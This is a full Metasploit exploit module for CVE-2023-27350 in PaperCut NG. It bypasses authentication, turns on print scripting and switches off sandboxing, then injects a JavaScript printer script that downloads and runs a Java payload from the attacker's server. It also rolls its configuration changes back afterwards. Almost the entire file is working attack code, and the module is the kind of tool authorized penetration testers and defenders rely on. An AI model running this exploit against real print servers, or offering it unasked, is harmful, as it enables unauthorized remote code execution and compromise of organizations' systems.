##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'cgi'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PaperCut PaperCutNG Authentication Bypass',
        'Description' => %q{
          This module leverages an authentication bypass in PaperCut NG. If necessary it
          updates Papercut configuration options, specifically the 'print-and-device.script.enabled'
          and 'print.script.sandboxed' options to allow for arbitrary code execution running in
          the builtin RhinoJS engine.

          This module logs at most 2 events in the application log of papercut. Each event is tied
          to modifcation of server settings.
        },
        'License' => MSF_LICENSE,
        'Author' => ['catatonicprime'],
        'References' => [
          ['CVE', '2023-27350'],
          ['ZDI', '23-233'],
          ['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'],
          ['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'],
          ['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'],
          ['URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software']
        ],
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [ [ 'Automatic Target', {}] ],
        'Platform' => [ 'java' ],
        'Arch' => ARCH_JAVA,
        'Privileged' => true,
        'DisclosureDate' => '2023-03-13',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => '9191',
          'SSL' => 'false'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']),
        OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
      ], self.class
    )
    @csrf_token = nil
    @config_cleanup = []
  end

  def bypass_auth
    # Attempt to generate a session & recover the anti-csrf token for future requests.
    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'keep_cookies' => true,
        'vars_get' => {
          'service' => 'page/SetupCompleted'
        }
      }
    )
    return nil unless res && res.code == 200

    vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}")

    # Parse the application version from the response for future decisions.
    product_details = res.get_html_document.xpath('//div[contains(@class, "product-details")]//span').children[1]
    if product_details.nil?
      product_details = res.get_html_document.xpath('//span[contains(@class, "version")]')
    end
    version_match = product_details.text.match('(?<major>[0-9]+)\.(?<minor>[0-9]+)')
    @version_major = Integer(version_match[:major])
    match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?<csrf>[^']*)'/)
    @csrf_token = match ? match[:csrf] : ''
  end

  def get_config_option(name)
    # 1) do a quickfind (setting the tapestry state)
    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path),
        'keep_cookies' => true,
        'headers' => {
          'Origin' => full_uri
        },
        'vars_post' => {
          'service' => 'direct/1/ConfigEditor/quickFindForm',
          'sp' => 'S0',
          'Form0' => '$TextField,doQuickFind,clear',
          '$TextField' => name,
          'doQuickFind' => 'Go'
        }
      }
    )
    # 2) parse and return the result
    return nil unless res && res.code == 200 && (html = res.get_html_document)
    return nil unless (td = html.xpath("//td[@class='propertyNameColumnValue']"))
    return nil unless td.count == 1 && td.text == name

    value_input = html.xpath("//input[@name='$TextField$0']")
    value_input[0]['value']
  end

  def set_config_option(name, value, rollback)
    # set name:value pair(s)
    current_value = get_config_option(name)
    if current_value == value
      vprint_good("Server option '#{name}' already set to '#{value}')")
      return
    end

    vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'")
    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path),
        'keep_cookies' => true,
        'headers' => {
          'Origin' => full_uri
        },
        'vars_post' => {
          'service' => 'direct/1/ConfigEditor/$Form',
          'sp' => 'S1',
          'Form1' => '$TextField$0,$Submit,$Submit$0',
          '$TextField$0' => value,
          '$Submit' => 'Update'
        }
      }
    )
    fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200
    # skip storing the cleanup change if this is rolling back a previous change
    @config_cleanup.push([name, current_value]) unless rollback
  end

  def cleanup
    super
    if @config_cleanup.nil?
      return
    end

    until @config_cleanup.empty?
      cfg = @config_cleanup.pop
      vprint_status("Rolling back '#{cfg[0]}' to '#{cfg[1]}'")
      set_config_option(cfg[0], cfg[1], true)
    end
  end

  def primer
    payload_uri = get_uri
    script = <<~SCRIPT
      var urls = [new java.net.URL("#{payload_uri}.jar")];
      var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]);
      s;
    SCRIPT

    # The number of parameters passed changed in version 17.
    form0 = 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0'
    if @version_major > 16
      form0 += ',$Submit$1'
    end
    # 6) Trigger the code execution the printer_id
    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path),
        'keep_cookies' => true,
        'headers' => {
          'Origin' => full_uri
        },
        'vars_post' => {
          'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form',
          'sp' => 'S0',
          'Form0' => form0,
          'enablePrintScript' => 'on',
          '$Submit$1' => 'Apply',
          'printerId' => 'l1001',
          'scriptBody' => script
        }
      }
    )
    fail_with Failure::NotVulnerable, 'Failed to prime payload.' unless res && res.code == 200
  end

  def check
    # For the check command
    bypass_success = bypass_auth
    if bypass_success.nil?
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Vulnerable
  end

  def exploit
    # Main function
    # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests.
    bypass_auth unless @csrf_token
    if @csrf_token.nil?
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    # Sandboxing wasn't introduced until version 19
    if @version_major >= 19
      # 2) Enable scripts, if needed
      set_config_option('print-and-device.script.enabled', 'Y', false)

      # 3) Disable sandboxing, if needed
      set_config_option('print.script.sandboxed', 'N', false)
    end
    # 5) Select the printer, this loads it into the tapestry session to be modified
    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'keep_cookies' => true,
        'headers' => {
          'Origin' => full_uri
        },
        'vars_get' => {
          'service' => 'direct/1/PrinterList/selectPrinter',
          'sp' => 'l1001'
        }
      }
    )
    fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200

    Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
    # When the server stop due to our timeout, this is raised
  end

  def on_request_uri(cli, request)
    vprint_status("Sending payload for requested uri: #{request.uri}")
    send_response(cli, payload.raw)
  end

end
